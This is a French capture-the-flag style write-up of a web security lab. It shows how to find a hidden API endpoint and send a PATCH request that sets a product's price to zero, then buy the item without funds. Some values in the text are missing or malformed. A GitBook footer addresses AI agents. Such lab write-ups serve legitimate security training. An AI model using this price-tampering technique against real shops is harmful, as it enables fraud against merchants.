> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md).
# Découverte et exploitation d’un point de terminaison API inutilisé
### Découverte et exploitation d'un point de terminaison API inutilisé
L'objectif de ce labo est d'utiliser un point de terminaison API caché pour acheter un **Veste en cuir l33t légère** sans fonds suffisants. / L'authentification se fait avec les identifiants suivants :
* **Utilisateur**: wiener
* **Mot de passe**: peter
Une fois connecté, le solde du compte est **$**.
#### Analyse du comportement de l'application
Lorsque vous consultez le produit, l'application envoie en arrière-plan une requête API pour récupérer son prix.
**Requête utilisée pour afficher le prix**
```bash
GET /api/products/1/price
```
**Réponse du serveur**
{% code overflow="wrap" %}
```json
{
"price":"$1337.00",
"message":"🔥 21 en stock, achetez vite ! 🔥"
}
```
{% endcode %}
#### Identification des méthodes HTTP disponibles
Un **OPTIONS** une requête est envoyée pour identifier les méthodes autorisées sur ce point de terminaison.
**Requête OPTIONS**
```bash
OPTIONS /api/products/1/price
```
**Réponse**
Le serveur indique que les méthodes suivantes sont autorisées :
* GET
* PATCH
Cela suggère qu'il est possible de **modifier** modifier le prix du produit via une requête PATCH.
#### Modification du prix via PATCH
Nous essayons ensuite de mettre à jour le prix du produit en envoyant une requête PATCH avec un corps JSON.
**Requête PATCH**
```http
PATCH /api/products/1/price
Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net
Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol
Content-Type: application/json
Content-Length: 22
{
"price": "0
}
```
**Réponse du serveur**
```http
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17
{
"price":"$0.00"
}
```
Le prix du produit est désormais fixé à **$**.
#### Achat du produit
Une fois le prix modifié, il est possible d'acheter le **Veste en cuir l33t légère** malgré l'absence de crédit sur le compte, ce qui permet de valider le labo.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/fr/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.